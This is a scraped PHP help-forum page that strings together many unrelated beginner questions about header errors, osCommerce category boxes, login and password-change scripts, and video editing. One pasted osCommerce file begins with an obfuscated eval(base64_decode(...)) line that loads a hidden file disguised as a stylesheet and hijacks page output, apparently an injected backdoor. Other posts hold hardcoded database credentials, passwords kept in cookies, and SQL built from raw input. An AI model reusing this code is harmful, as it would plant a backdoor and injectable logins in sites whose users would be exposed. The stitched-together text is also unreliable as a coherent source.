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PHP - Modify Video Frames With Facebook Data
Can anyone suggest how to build web app like http://www1.lost-in-val-sinestra.com/ without flash. We want to pull the data from facebook and using pulled data edit the sample video and play in the browser. I was thinking to use image magick with ffmpeg to edit the video but unable to do it successfully.
I tried to edit video using below steps 1. Extract all frames from the video using ffmpeg. 2. Identify the frames need to be customized. 3. Identify the coordinates of placeholders where we need to place the facebook data. 4. Using image magick customized frames with facebook image (facing difficulty here as the video moves continously taking coordinate of each frames is tedious) 5. Create final video with edited frames using ffmpeg. Similar TutorialsThis topic has been moved to MySQL Help. http://www.phpfreaks.com/forums/index.php?topic=314265.0 So I have been working on my website for a while which all is php&mysql based, now working on the social networking part building in similar functions like Facebook has. I encountered a difficulty with getting information back from a link. I've checked several sources how it is possible, with title 'Facebook Like URL data Extract Using jQuery PHP and Ajax' was the most popular answer, I get the scripts but all of these scripts work with html links only. My site all with php extensions and copy&paste my site links into these demos do not return anything . I checked the code and all of them using file_get_contents(), parsing through the html file so if i pass 'filename.php' it returns nothing supposing that php has not processed yet and the function gets the content of the php script with no data of course. So my question is that how it is possible to extract data from a link with php extension (on Facebook it works) or how to get php file executed for file_get_contents() to get back the html?
here is the link with code&demo iamusing: http://www.sanwebe.c...-php-and-jquery
thanks in advance.
For right or wrong, I've been using XML to define my Doctrine entities. When the XML changes, my entities need to change. I've automated the process with a simple PHP script which allows me to swap some text to modify one of the auto-generated methods, add methods, etc. Kind of clunky but it works well enough. Now, I recently had the need to remove a given method in its entirety from a given class. I "could" just add the entire string which represents the method name, earlier comments, and script for the method to my parsing script to my parsing script and remove it, but would like to be a little more concise. For instance, say I have $script as follows:
$script = <<<'EOT'
class SomeEntityClass
{
//... more stuff above
public function getSomething()
{
return $this->something;
}
/**
* Get foos.
*
* @return \Doctrine\Common\Collections\Collection
*/
public function getFoos()
{
return $this->foos;
}
/**
* Get somethingElse.
*
*/
//... more stuff below
}
EOT;
How would you recommend creating the function: removeFunction($script, 'getFoos') which would remove the given function along with its comments from the $script string and result with?
$script = <<<'EOT'
class SomeEntityClass
{
//... more stuff above
public function getSomething()
{
return $this->something;
}
/**
* Get somethingElse.
*
*/
//... more stuff below
}
EOT;
Assuming regex is the way to go, I was thinking of something like the following, but could use some help with the regex expression.
function removeFunction($script, $method)
{
$method="public function $method(";
//regex to remove script with which starts after pattern "{\n" OR "**/", contains $method, and is located before pattern "\n{" OR "\n /**"
return $script;
}
Thanks Hi guys, this is my first post so be gentle I have a string of ingredients, eg 1kg of salf 20kg of sugar 15kg of something nice This is the portion / mix for 1 person, I would like to make it scalable, so for example multiple all ingredients by for two people etc. So how do I do this with PHP I am guessing a regexp to look at the string and modify each number by the multiplier Any suggestions would be great thanks guys I have tried google and came up empty I think I need to convert the string to an array then modify it? John Hi Folks, i am a bit stuck on how to proceed with the following and could use some input. I have a table with a whole bunch of zipcodes and places. A lot of the zipcodes are repeated and i would like to merge them e.g. 7 | 07677 | WOODCLIFF LAKE | New Jersey | 41.02 | -74 8 | 07677 | WESTWOOD | New Jersey | 41.02 | -74 9 | 07677 | WOODCLIFF LK | New Jersey | 41.02 | -74 What i would like to do is merge these into one line then delete the obsolete ones e.g. 7 | 07677 | WOODCLIFF LAKE | WESTWOOD, WOODCLIFF LK | New Jersey | 41.02 | -74 Obviously not all the zipcodes are duplicated, and with 70 odd thousand lines its a bit daunting to go through them manually. Any pointers would be useful. how do I modify the date coming from the database in YYYY-MM-DD format to MM-DD-YYYY? I'm wondering how I can use the following code to capture the current url...... Code: [Select] <?php function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } ?> <?php echo curPageURL(); ?> and then have the output modified to change the domain name and create a link. Example: before - http://website1.com/page after - http://website2.com/page I think this would be done using function modify_url, but I'm not sure how to do it, any help would be greatly appreciated. Thanks Hello All, I am trying to modify a value found in a csv file and I can't seem to figure this out. I already looked into fputcsv and cannot seem to make it work to just modify a value. I have a script now that outputs the csv into a table and displays a count for how many rows there are. I am parsing through a very large file and (for example) I want to replace all instances of the word "Norway" with "it works". Here's what I have so far: Code: [Select] <?php $filename='Test.txt'; $count=0; $c=0; echo '<table border=1>'; $file_handle = fopen($filename, "r+"); while (!feof($file_handle) ) { $parts = fgetcsv($file_handle); echo '<tr><td>'.$count.'</td>'; while($c<=3) { if($parts[$c]=='Norway') { $parts[$c]='It works'; //code to modify the csv value in the file } echo '<td>'. $parts[$c] .'</td>'; $c++; } $c=0; "</tr>"; $count++; } fclose($file_handle); echo '</table>'; ?> I have looked all over and can't find any examples of how to do this. Any help would be greatly apprecieated!!! This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=310049.0 Hey guys im getting the error Warning: Cannot modify header information - headers already sent by (output started at /home/kylegray/public_html/include/authenticate.php:12) in /home/kylegray/public_html/home.php on line 7 Any idea why this is coming up. I think its something to to with me setting the cookie setcookie("un", $id); but im not sure. home.php Code: [Select] <? include("include/config.php"); //$_SESSION["backpage"]=$_SERVER['PHP_SELF']; if($_SESSION["client_log"]!="true"){ session_unregister("MemberArea"); header("Location: index.php?redirect=".basename($_SERVER['PHP_SELF'])); exit(); } ?> authenticate.php Code: [Select] <?php include("include/required.php"); include("include/pagedetails.php"); include_once("include/authenticate.php"); $tblName = $tbluser; $id=$_SESSION["id"]; setcookie("un", $id); $ImgPath="$CatImage/"; $ImgPathsing="$SingUPImage/"; ?> Code: [Select] <?php { $name=$_POST["txtGiven"]; $surname=$_POST["txtFamily"]; $user=$_POST["txtUser"]; $email=$_POST["txtEmail"]; $password=$_POST["txtPassword"]; $query="INSERT INTO Customer(Firstnames,Surname,Username,Email,Password) VALUES('$name','$surname','$user','$email','$password')"; include"connection.php"; $result=mysql_query($query)or die("Error in query: $query. ".mysql_error());; header("Location: userReceipt.php"); mysql_close($connection); } ?> ive tried removing all the spaces from all my php pages. That is the most common solution that comes up and nothing seems to work. I also have a login page where the same error is Hey guys, I've searched on Google for this and have had no luck, and you guys have been EXTREMELY helpful with a few of my previous questions! Alright the error I get is: Warning: Cannot modify header information - headers already sent by (output started at /****/header.php:6) in /***/*login.php on line 65 Errr.. After I posted this I saw the Sticky regarding Header posts.. I read the post and cannot find where the issue is with this.. The PHP code comes before the form information, am I missing something? My login.php script is: Code: [Select] <?php include("header.php"); mysql_connect("10.6.186.84", "gilmdiniz", "Gil19471947") or die(mysql_error()); mysql_select_db("gilmdiniz") or die(mysql_error()); if(isset($_COOKIE['ID_my_site'])) { $username = $_COOKIE['ID_my_site']; $pass = $_COOKIE['Key_my_site']; $check = mysql_query("SELECT * FROM users WHERE username = '$username'")or die(mysql_error()); while($info = mysql_fetch_array( $check )) { if ($pass != $info['password']) { } else echo "SUP";//header($hdir."files.php"); } } if (isset($_POST['submit'])) { if(!$_POST['username'] | !$_POST['pass']) die('<center>You did not fill in a required field! <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); if (!get_magic_quotes_gpc()) $_POST['email'] = addslashes($_POST['email']); $check = mysql_query("SELECT * FROM users WHERE username = '".$_POST['username']."'")or die(mysql_error()); $check2 = mysql_num_rows($check); if ($check2 == 0) die('<center>This username does not exist in our database, sorry. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); while($info = mysql_fetch_array( $check )) { $_POST['pass'] = stripslashes($_POST['pass']); $info['password'] = stripslashes($info['password']); $_POST['pass'] = md5($_POST['pass']); if ($_POST['pass'] != $info['password']) die('<center>Incorrect password, please try again. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); else { $_POST['username'] = stripslashes($_POST['username']); $hour = time() + 3600; setcookie(ID_my_site, $_POST['username'], $hour); setcookie(Key_my_site, $_POST['pass'], $hour); echo "SUP";//header($hdir."files.php"); } } } else { ?> <center> <a href="<?php echo $hdir .'index.php'; ?>"> Back to Home </a> <table border="1"> <tr><td> <center><h2>Login Information</h2></center> </td></tr> <tr><td> <form action="<?php echo $_SERVER['PHP_SELF']?>" method="post"> <table border="0"> <tr><td> Username: </td><td> <input type="text" name="username" maxlength="40"> </td></tr> <tr><td> Password: </td><td> <input type="password" name="pass" maxlength="50"> </td></tr> <tr><td colspan="2" align="right"> <input type="submit" name="submit" value="Login"> </td></tr> </table> </form> </td></tr> </table> </center> <?php } ?> and my header.php script is: Code: [Select] <?php $hdir = "http://www.ondemandagents.com/NewSite_ALPHA/"; ?> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" type="text/css" href="<?php echo $hdir .'style.css'; ?>" /> </head> <body> <table width="920" cellspacing="0" cellpadding="10" border="0" align="center"> <tr> <td class="bodyline"> <table align="center" border="0" width="635" height="121" background="<?php echo $hdir .'images/logo.png'; ?>"> <tr> <td height="69"> <table border="0" width="635" height="106"> <tr> <td width="800" height="70"> </td> <td width="600" height="70"> </td> </tr> <tr> <td width="400" height="18"> </td> <td width="600" height="18"> <a href="<?php echo $hdir .'index.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_home.gif'; ?>" width="12" height="13" border="0" alt="Home" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Home </font></a> <a href="<?php echo $hdir .'files.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_files.gif'; ?>" width="12" height="13" border="0" alt="Files" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Files </font></a> <a href="<?php echo $hdir .'admin.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_login.gif'; ?>" width="12" height="13" border="0" alt="Administration" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Administration</font></a> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> I have been using a header file in all my pages and scripts so far so that I wouldn't have to keep typing repetitive code.. Help is MUCH appreciated! Thanks in advance guys This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=334372.0 Ok, here's what I'm trying to do. In Zend, you can modify a template title for a page within the actual template file even though the title has already been set. So, say I have this in a common header file: Code: [Select] <?php echo $title; ?> ..but I then want to maybe change that within my main template page, say my 'about' page. How would I go about that? Currently I do this: include($commonheader); include($content); include($footer); It's in the content where I want to be able to change the title in the header, should I need to. You can do this with Zend but it's beyond me how they do it. Should note, the above is for simplicity sake. I am doing this using OOP methods. Any help appreciated. Maybe ob_flush? Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> i Have a php code... Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } if($_GET['via']=="pre_pass") { $prepass=$_POST['currentpassword']; $newpass=$_POST['newpass']; $renewpass=$_POST['renewpass']; /*$answer=$_POST['answer']; &newpassword=$_POST['newpassword']; */ if($prepass!=NULL && $newpass!=NULL && $renewpass!=NULL ) { if(strlen($prepass)==0 || strlen($newpass)==0 || strlen($renewpass)==0) { session_start(); $_SESSION['status']="Please fill out all the fields"; header('location:change_password.php?via=previous_password'); die(" "); } if(strlen($prepass)<6 || strlen($newpass)<6 || strlen($renewpass)<6) { session_start(); $_SESSION['status']="All fields must have atleast 6 characters"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($newpass, $renewpass)!=0 && strlen($prepass)>=6 && strlen($newpass)>=6 && strlen($renewpass)>=6 ) { session_start(); $_SESSION['status']="New password does not match with each other"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($prepass, $newpass)==0) { session_start(); $_SESSION['status']="New password and Previous Password must be different"; header('location:change_password.php?via=previous_password'); die(" "); } mysql_connect ("localhost:3306", "feadmin1","lycosanmamba" ) or die ('Error connecting database'); mysql_select_db ("fe_user_info"); $reguserpassword = stripslashes($prepass); $reguserpassword = mysql_real_escape_string($reguserpassword); $newpass = stripslashes($newpass); $newpass = mysql_real_escape_string($newpass); $sql = "select * from user_info where id='$_SESSION[id]' and password='$reguserpassword'"; $res=mysql_query($sql); $count=mysql_num_rows($res); if($count=='1') { $query= "UPDATE user_info SET password='".$newpass."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=previous_password'); die(" "); } if($count!='1') { session_start(); $_SESSION['status']="Password you entered does not match with our records"; header('location:change_password.php?via=previous_password'); die(" "); } } } if($_GET['via']=="sec_ques") { $answer=$_POST['answer']; $newpassword=$_POST['newpassword']; if($answer!=NULL && $newpassword!=NULL) { include('db_connectivity.php'); $sql2 = "select * from user_info where id='$_SESSION[id]' and security_answer='$answer'"; $res2=mysql_query($sql2); $count2=mysql_num_rows($res2); if(strlen($newpassword)<6) { session_start(); $_SESSION['status']="Password must have atleast 6 characters"; header('location:change_password.php?via=security_question'); die(" "); } if($count2=='1') {include('db_connectivity.php'); $newpassword = stripslashes($newpassword); $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } else { session_start(); $_SESSION['status']="Answer to this security question is incorrect"; header('location:change_password.php?via=security_question'); die(" "); } } } ?> but when i run this code it shows me the error.. Warning: Cannot modify header information - headers already sent by (output started at C:.................................:2) in C:\...............................\verify_change_password.php on line 118 CODE BETWEEN LINE 110-120 is Code: [Select] $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } and code of tp 5 line is : Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } i'm having trouble working with my search bar, when i used wamp it worked but now online i keep getting this message Quote Cannot modify header information - headers already sent by (output started at...) I placed that code for the search bar above the html tags but i keep getting the error here is my coding Code: [Select] <?php mysql_connect("localhost", "user", "pass") or die(mysql_error()); if (isset($_POST['submit'])) { $search = mysql_real_escape_string($_POST['search']); $type = mysql_real_escape_string($_POST['type']); if ($type == true) { header("Location:http://www.link.com/searchresults.php?subdirectory=$search&type=$type"); } } ?> Quote Warning: Cannot modify header information - headers already sent by (output started at /home3/nyhungry/public_html/storeprueba/storescripts/connect_to_mysql.php:2) in /home3/nyhungry/public_html/storeprueba/storeadmin/admin_login.php on line 29 What can I do to fix the error where a second header is called, needed but intervening admin_login.php Code: [Select] <?php session_start(); if (isset($_SESSION["manager"])) { header("location:index.php"); exit(); } ?> <?php if (isset($_POST["username"]) && isset($_POST["password"])) { $manager = preg_replace('#[^A-Za-z0-9]#i', '', $_POST["username"]); // filter everything but numbers and letters $password = preg_replace('#[^A-Za-z0-9]#i', '', $_POST["password"]); // filter everything but numbers and letters include "../storescripts/connect_to_mysql.php"; $sql = mysql_query( "SELECT id FROM admin WHERE username='$manager' AND password='$password' LIMIT 1"); $existCount = mysql_num_rows($sql); if ($existCount == 1) { while($row = mysql_fetch_array($sql)) { $id = $row["id"]; } $_SESSION["id"] = $id; $_SESSION["manager"] = $manager; $_SESSION["password"] = $password; header("location:index.php"); exit(); } else { echo 'That information is incorrect, try again <a href="index.php">Click Here</a>'; exit(); } } ?> is the second header here like below in the code clashing? because in the connect_to_mysql.php there is no headers Code: [Select] <?php $_SESSION["id"] = $id; $_SESSION["manager"] = $manager; $_SESSION["password"] = $password; header("location:index.php"); exit(); <? i have problem when adding a subject it got two subject that need to be selected by teacher , management sub and DBMS sub.. said Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\PhpProject3\navhead_user.php:57) in C:\xampp\htdocs\PhpProject3\teacher_add_subject.php on line 104.. when i select one of them it appear that error.. but when i select DBMS it inserted the subject but with error.. let say 1st i selecting management as the subject, it occur error but after refresh the page it appear in the list of the teacher subject then i add another subject DBMS subject and it occur error but the management subject is dissappear from the teach subject list.. but i try to add the management subject again it said it existed but not listed.. but in my database it inside there already only the data not appear..
navhead_user.php
<div class="row-fluid">
<div class="span12">
<div class="navbar navbar-fixed-top navbar-inverse">
<div class="navbar-inner">
<div class="container">
<!-- .btn-navbar is used as the toggle for collapsed navbar content -->
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<!-- Be sure to leave the brand out there if you want it shown -->
<!-- Everything you want hidden at 940px or less, place within here -->
<div class="nav-collapse collapse">
<!-- .nav, .navbar-search, .navbar-form, etc -->
<i class="icon-facebook-sign icon-large" id="color_white"></i>
<i class="icon-twitter icon-large" id="color_white"></i>
<i class="icon-google-plus icon-large" id="color_white"></i>
<i class="icon-github-alt icon-large" id="color_white"></i>
<i class="icon-linkedin-sign icon-large" id="color_white"></i>
<div class="pull-right">
<form class="navbar-search pull-left">
<i class="icon-search icon-large" id="color_white"></i>
<input type="text" class="search-query" placeholder="Search">
</form>
</div>
<!-- end collapse -->
</div>
</div>
</div>
</div>
<div class="hero-unit-header">
<div class="container">
<div class="row-fluid">
<div class="span12">
<div class="row-fluid">
<div class="span6">
<img src="admin/images/head.png">
</div>
<div class="span6">
<div class="pull-right">
<!--- login button -->
<?php
$student_query=mysql_query("select * from teacher where teacher_id='$session_id'")or die(mysql_error());
$teacher_row= mysql_fetch_array($student_query);
?>
<img src="admin/<?php echo $teacher_row['location']; ?>" class="img img-rounded" id="picture">
<div class="btn-group">
<button class="btn btn-success"><i class="icon-user icon-large"></i> <?php echo $user_row['firstname'] . " " . $user_row['lastname']; ?></button>
<button class="btn dropdown-toggle" data-toggle="dropdown">
<span class="caret"></span>
</button>
<ul class="dropdown-menu">
<li><a href="#logout" role="button" data-toggle="modal"><i class="icon-signout icon-large"></i> Logout</a></li>
</ul>
</div>
<?php include('logout_modal.php') ?>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
teacher_add_subject.php
<?php include ('session.php'); ?>
